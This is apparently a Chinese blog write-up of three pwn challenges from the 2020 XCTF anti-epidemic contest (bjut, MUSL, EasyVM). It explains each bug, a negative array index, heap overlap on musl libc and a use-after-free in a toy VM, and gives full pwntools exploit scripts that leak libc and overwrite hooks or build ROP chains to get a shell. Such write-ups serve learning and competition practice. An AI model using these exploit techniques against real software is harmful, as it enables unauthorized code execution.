2020XCTF抗疫情公益赛

XCTF 抗疫情高校联赛

这里面我只写一些自认为有意思的题目,不过可以看V&N wp供大家参考。

bjut

这个题目的难点在于漏洞的寻找,看他用了libc 2.29,本以为会在新的安全机制上做文章,最后发现原来是数组上溢漏洞,这种漏洞ctf里面还是比较不常见的。。。记一下。。。

其在对数组索引进行判断的时候没有判断数组的最小值情况,加上数组所在的位置,目标就很明显了。

其漏洞不在堆块,这有点类似于格式化不在栈上的情况。

这时候IO链表就提供了很好的帮助

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
#context.log_level = "debug"
pdbg = pwn_debug("./hw")
debug = 1
pdbg.local() 
pdbg.debug("2.29")  #2.23 ... 2.29
pdbg.remote() #IP,PORT
if debug == 1:
    r = pdbg.run("debug")
elif debug == 2:
    r = pdbg.run("local")
else:
    r = pdbg.run("remote")

def debug(addr):
    pdbg.bp([addr])

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]

def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

elf = pdbg.elf
libc = pdbg.libc

def add(size,content):
    r.sendlineafter(">","1")
    r.sendlineafter(" hw:\n",str(size))
    r.sendafter("hw:\n",content)

def edit(idx,content):
    r.sendlineafter(">","2")
    r.sendlineafter(" hw:\n",str(idx))
    r.sendafter("hw:\n",content)

def show(idx):
    r.sendlineafter(">","4")
    r.sendlineafter(" hw:\n",str(idx))

def delete(idx):
    r.sendlineafter(">","3")
    r.sendlineafter(" hw:\n",str(idx))

#gdb.attach(r)
#debug(0x000000000401557)
#debug(0x000000000401557)
add(0x18,'/bin/sh\x00')
show(-16)
r.recvn(9)
all = r.recvrepeat(0.001)
libcbase = u64(all[8:8+8]) - 0x3b4703
free_hook = libcbase + libc.symbols["__free_hook"]
system_addr = libcbase + libc.symbols["system"]
#sleep(2)
confirm(libcbase)
#edit(-16,p64(free_hook))
r.sendline("2")
#debug(0x00000000040141F)
r.sendlineafter(" hw:\n",str(-1939+3))
r.sendafter("hw:\n",p64(libcbase+libc.symbols["_IO_2_1_stdin_"])+ p64(0) + p64(free_hook))
r.sendline("2")
r.sendlineafter(" hw:\n",str(-16))
r.sendafter("hw:\n",p64(system_addr))
debug(0x00000000040164B)
r.sendline("3")
r.sendlineafter(" hw:\n",str(-4))
#gdb.attach(r)
#r.send(system_addr)
#r.sendafter("hw:\n",p64(system_addr))
r.interactive()

MUSL

u1s1 , 我的虚拟机启动这个题目真是慢,心态崩了。进入正题:
本来觉得这个题目送分的,因为看了漏洞什么的觉得如果是正常libc的话,估计很快就搞定了,但是vmmap之后发现其不简单.

这看着不是泄露libc基地址?然后查了查musl libc是一种小型的libc,主要应用于嵌入式设备。然后比赛时就没做了,去看别的题目了,现在看wp复现一下:

  • 首先利用堆块重叠泄露地址
  • 然后利用MUSL独有的特性把指针数组的地址写到数组里面,进而实现任意写。
  • MUSL无法写入got表,所以就写到了栈上,然后利用rop进而getshell.

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
context.log_level = "debug"
pdbg = pwn_debug("./carbon")
debug = 2
#pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local("./libc.so") 
pdbg.debug("2.23")  #2.23 ... 2.29
pdbg.remote() #IP,PORT
if debug == 1:
    r = pdbg.run("debug")
elif debug == 2:
    r = pdbg.run("local")
else:
    r = pdbg.run("remote")

def debug(addr):
    pdbg.bp([addr])

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]

def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

elf = pdbg.elf
libc = pdbg.libc
def create(size,content,flag = 'N'):
    r.sendlineafter('>','1')
    r.sendlineafter('>',str(size))
    r.sendlineafter('>',flag)
    r.sendafter('>',content)

def delete(index):
    r.sendlineafter('>','2')
    r.sendlineafter('>',str(index))

def edit(index,content):
    r.sendlineafter('>','3')
    r.sendlineafter('>',str(index).ljust(0xF,'\x00'))
    r.send(content)

def show(index):
    r.sendlineafter('>','4')
    r.sendlineafter('>',str(index))

create(0x10,"a" * 0x10) #0
create(0x60,"b" * 0x60) #1
create(0x80,"a"*0x50 + "\x00"*0x10 + p64(0xF1) + p64(0x21) +"c"*0x10) #2
delete(0)
create(0x10,"a"*0x10 + p64(0x21) + p64(0xf1)+'\n','Y')
#debug(0x000000000400E61)
delete(1)
#debug(0x000000000400D16)
create(0x70,"b"*0x70) #1
show(2)
leak_addr = u64(r.recvuntil("\x7f").ljust(8,"\x00"))
libcbase = leak_addr - 0x292AF0
confirm(libcbase)
system_addr = libcbase + libc.symbols["system"]
environ_addr = libcbase + libc.symbols["__environ"]
bin_sh_addr = libcbase + libc.search("/bin/sh").next()
heap_array = (leak_addr & 0xFFFFFFFFFFFFF000) - 0x2000
create(0x20,"d"*0x20) #3
delete(2)
edit(3,p64(heap_array + 8)*2+'\n')
create(0x20,"d"*0x20)
edit(1,p64(0x000000000602034) + p64(0x8) + p64(environ_addr) + p64(0x70) + p64(heap_array)+"\n")
edit(0,p32(0)+"\n")
#debug(0x000000000401046)
show(1)
stack_addr = u64(r.recv(6).ljust(8,"\x00"))
target = stack_addr - 0x70
pop_rdi_addr = 0x0000000000014862 + libcbase
edit(2,p64(24) + p64(target)+"\n")
edit(0,p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr))
r.interactive()

总结

这个提米实际上考察的是对未知领域的探索能力,根据调试的结果,利用已有的经验,大致可以推断出musl libc大致的堆分配机制,难点就是在于调试和发现规律。

EasyVM

这个不难,主要是接触的VM不多,记一下:
分析的VM结构体如下:

00 VM              struc ; (sizeof=0x2C, mappedto_5)
00000000 reg_KK          dd ?
00000004 reg_eax         dd ?
00000008 reg_add         dd ?
0000000C reg_mul         dd ?
00000010 reg_sub         dd ?
00000014 reg_div         dd ?
00000018 reg_esp         dd ?
0000001C reg_ebp         dd ?
00000020 reg_eip         dd ?
00000024 reg_xor         dd ?
00000028 stack_begin     dd ?
0000002C VM              ends

漏洞在于free操作的UAF

   if ( !ptr )
          exit(0);
        play(ptr);
        break;

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
context.log_level = "debug"
pdbg = pwn_debug("./EasyVM")
debug = 1
pdbg.local() 
pdbg.debug("2.23")  #2.23 ... 2.29
pdbg.remote() #IP,PORT
if debug == 1:
    r = pdbg.run("debug")
elif debug == 2:
    r = pdbg.run("local")
else:
    r = pdbg.run("remote")

def debug(addr):
    pdbg.bp([addr])

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]

def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

elf = pdbg.elf
libc = pdbg.libc
def menu(idx):
    r.sendlineafter("5.Let the robot sleep!\n>>> \n",str(idx).ljust(8,'\x00'))

def New(payload):
    menu(1)
    r.send(payload)

def Run():
    menu(2)

def Delete():
    menu(3)

def Push(value):
    return '\x71'+p32(value)

def Pop():
    return '\x76'+p32(0)

def Read():
    return '\x54\x00'

New("123".ljust(0X2ff))
Delete()
#debug(0x0000F2D)
New('\x11\x99'.ljust(0x2ff,'\x99'))
Run()
libcbase = int(r.recv(10),16) - 0x1af930
confirm(libcbase)
malloc_hook = libcbase + libc.symbols["__malloc_hook"]
__free_hook = libcbase + libc.symbols["__free_hook"]
payload = '\x71'+p32(__free_hook)
payload += Pop()
payload += Read()
payload += '\x71'+p32(__free_hook+1)
payload += Pop()
payload += Read()
payload += '\x71'+p32(__free_hook+2)
payload += Pop()
payload += Read()
payload += '\x71'+p32(__free_hook+3)
payload += Pop()
payload += Read()
New(payload.ljust(0x2ff,'\x99'))
Run()
system_addr =libcbase+libc.symbols["system"]
r.send(p32(system_addr))
payload = Push(0)*77
payload += Push(u32("/sh\x00"))
payload += Push(u32("/bin"))
New(payload.ljust(0x2ff,'\x99'))
Run()
Delete()
r.interactive()

   转载规则


《2020XCTF抗疫情公益赛》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
Windows 注入 Windows 注入
DLL注入 最近一直搞windows,参加了一些实战,颇有体会,记录一下。 原理DLL注入将含有恶意代码的DLL通过被远程进程调用的方式来启动恶意代码,这对于免杀是一种常见切有效的方法。 DLL如何注入进正常程序?​ 恶意代码的加载
2020-03-29
下一篇 
rctf2019_baby_heap rctf2019_baby_heap
rctf2019-babyheap这是个off-by-null的经典题目,值得深究一番。 [*] '/home/root0/pratice/pwn_category/heap/largebin_attack/rctf2019-bab
2020-02-15
  目录